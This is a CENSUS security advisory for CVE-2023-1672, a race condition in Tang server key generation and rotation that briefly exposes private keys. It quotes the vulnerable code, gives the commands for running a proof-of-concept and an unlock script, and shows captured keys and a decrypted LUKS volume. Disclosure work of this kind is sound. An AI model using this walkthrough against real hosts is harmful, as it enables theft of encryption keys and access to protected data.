POSTED BY: Brian McDermott / 15.06.2023

Race condition in key creation and key rotation exposes private keys of Tang server

CVE ID:CVE-2023-1672
Affected Products:Tang versions prior to 14
Class:Insecure Inherited Permissions (CWE-277)
Discovered by:Brian McDermott

The Tang open source software is used to bind data to network presence. It is commonly used along with Clevis clients to provide for unattended LUKS decryption of server storage volumes within the realms of a network, where a trusted Tang server is situated. CENSUS identified that the Tang software in versions 11, 12 and 13 (and possibly previous versions) is vulnerable to a form of race condition, where the Tang private keys become exposed for a small time window to other users on the same host. The issue is tracked as CVE-2023-1672. Users are recommended to upgrade to Tang version 14 where the issue has been sufficiently addressed.

Vulnerability Details

CENSUS identified that a race condition exists in the Tang server functionality for key generation and key rotation, which results in a small time window where Tang server private keys become readable by any other process on the same host. The files are initially created with world readable permissions (0644), and only subsequently have more restrictive permissions applied (0440).

The collection of the private keys allow an attacker to mimic the operation of the victim Tang server in any desired environment. For example, the attacker may mimic the operation of the victim Tang server over a network or directly use the compromised private keys to unlock an acquired encrypted volume.

Exploitation of this issue requires that the Tang key database directory be readable and accessible to all users, which CENSUS found to be the case in certain situations. At the time of testing, both Ubuntu 22.04.2 and Debian 11 were found to ship Tang packages where the key database directory had 0755 permissions, allowing directory listing and access permissions to all users. Any such deployment of Tang allows for the exploitation of the race condition. This potentially includes also any deployment of Tang using the standalone binary in which sufficiently restrictive permissions have not been applied.

The component tang/src/keys.c, handles key-related operations on the Tang server. The vulnerable code exists within the function create_new_keys, which creates new keys when there are no existing keys on the server. The code uses json_dump_file to write world readable key files to the appropriate directory and only subsequently applies restrictive permissions as shown below:

    365:            if (json_dump_file(jwk, path, 0) == -1)
                        fprintf(stderr, "Error saving JWK to file (%s)\n", path);
                        return 0;

                    /* Set 0440 permission for the new key. */
                    if (chmod(path, S_IRUSR | S_IRGRP) == -1)
                        fprintf(stderr, "Unable to set permissions for JWK file (%s)\n", path);
                        return 0;

In a similar manner, the following tang/src/ Bash helper script generates new keys for the server, writes them to the appropriate directory and only subsequently applies restrictive permissions. This is offered as a convenience script by the Tang project.

    41:             jwe=$(jose jwk gen -i '{"alg":"ES512"}')
                    [ -z "$sig" ] && sig=$(echo "$jwe" | jose jwk thp -i- -a   "${THP_DEFAULT_HASH}")
                    echo "$jwe" > "$1/$sig.jwk"
                    set_perms "$1/$sig.jwk"

                    jwe=$(jose jwk gen -i '{"alg":"ECMR"}')
                    [ -z "$exc" ] && exc=$(echo "$jwe" | jose jwk thp -i- -a "${THP_DEFAULT_HASH}")
                    echo "$jwe" > "$1/$exc.jwk"
                    set_perms "$1/$exc.jwk"

Finally, the following component tang/src/ is another Bash helper script that rotates keys for the server. In the below lines of code, it writes the new key files to the appropriate directory and only subsequently applies restrictive permissions.

    82:             for alg in "ES512" "ECMR"; do
                        json="$(printf '{"alg": "%s"}' "${alg}")"
                        jwe="$(jose jwk gen --input "${json}")"
                        thp="$(printf '%s' "${jwe}" | jose jwk thp --input=- \
                                                        -a "${DEFAULT_THP_HASH}")"
                        echo "${jwe}" > "${thp}.jwk"
                        set_perms "${thp}.jwk"
                        log "Created new key ${thp}.jwk" "${VERBOSE}"

Within the time window between the file creation and the application of stricter permissions, it is possible for an attacker with access to the key database directory to collect the sensitive key material.

Vulnerability Exploitation

This section provides more details on the exploitation of the issue on an Ubuntu-based Tang server host. Successful exploitation has been verified on both Ubuntu versions 22.04.2 LTS (jammy) and 22.10 (kinetic kudu). At the time of testing Ubuntu was shipping version 11-1 of Tang.

When Tang is installed on Ubuntu, the key database directory at /var/lib/tang is created by default with permissions 0755. These permissions allow for the exploitation of the race condition by any user with logical access to the Tang hosting server.

It must be noted that due to the nature of a race condition, the race is not always won. It can sometimes take a number of tries to collect both key files at once.

To collect the private keys one can use the tangd-race.c proof-of-concept code, in the following way:

$ gcc -Wall -pthread -o tangd-race tangd-race.c
$ ./tangd-race 10

Now on a different terminal, one can force the insecure creation of keys through tangd-rotate-keys:

$ sudo /usr/libexec/tangd-rotate-keys -d /var/lib/tang

If the exploitation was successful, the tangd-race program will output the key material collected:

bytes read: 354
JWK: {"alg":"ES512","crv":"P-521","d":"AKcFVXyewoxmXzvGFYaXosmWMEugAZQ8djSVAtQYcMkRbxiMqVrbexc2Tq1t3kREpy1AhOzXeGqklRLOYoCsBDlL","key_ops":["sign","verify"],"kty":"EC","x":"AL6CqFIz4QVHEOAk5Fnc8PaZZ6on375wsvgWIsijbZFIcYxFf-suXMEx1C0vQii0WnGzTUS1XA8ZeIg8uSFr5NBL","y":"ADBbP0ID8N7LH8jWkoMDVhbtVb7NU-b8MSzUyLRlR0wH88J0lRRFvbu4dlL-Xfca5kCVG0PDYMiyt9M7XqJBq946"}

bytes read: 349
JWK: {"alg":"ECMR","crv":"P-521","d":"AN2tX2Ul7--8-3rA7H9bE6x4NG4ITDfh36284g6Nr9QV6e4YHa3QTaVCO4nj9ei4Zl8SdCXpN-C0pN9HCfMTVKZ3","key_ops":["deriveKey"],"kty":"EC","x":"APJyxvw5mSGVmNnX4sj7T1c-MEJdIgenW8ixdvwCNAkloORJ-o3QFZOwv0MKyNMO1pQqs8Ms3rMWIv2DtFLCyKm3","y":"AT9sdUeP6w7HoSlHd0XUlpwhsdyeMdx-1zncBktoXzIGnQvpHwAEOZ0H4se47vHanQ6kc4XnxN7UeAs4S-FhBpUA"}

If the race condition was not won, the proof-of-concept code would output either:

Missed read window 


Error opening [filename].jwk

The collected keys can now be used to mimic the operation of the actual Tang server, but more importantly to unlock a protected volume which has been somehow collected. To do this, one can use the unlock_mount_volume script.

$ mv unlock_mount_volume.txt
$ chmod +x
$ sudo volume.img key.jwk
Retrieving password for LUKS device: /dev/mapper/loop9p4

Password retrieved: aBOs0HAL^ULJYz&olAbYbUcUpahZuL;4Nol90pDIRYs3m6IbVYq3Nv

Device luks-a75ab556-a45e-40d2-a836-fd6780db7902 unlocked successfully

2 logical volume(s) in volume group "vgubuntu" now active
ACTIVE            '/dev/vgubuntu/root' [20.31 GiB] inherit
ACTIVE            '/dev/vgubuntu/swap_1' [<2.50 GiB] inherit

Device mounted at:    /mnt/vgubuntu-root


The vulnerability has been patched in version 14 of Tang server. The relevant git commit can be found here. Users of Tang are strongly advised to update to the latest version available.

Disclosure Timeline

Project Maintainer Contact:March 21, 2023
Report Submitted to Redhat:March 22, 2023
Vendor Confirmation:March 23, 2023
CVE Allocation:March 28, 2023
Vendor Fix Released:June 14, 2023
Public Advisory:June 15, 2023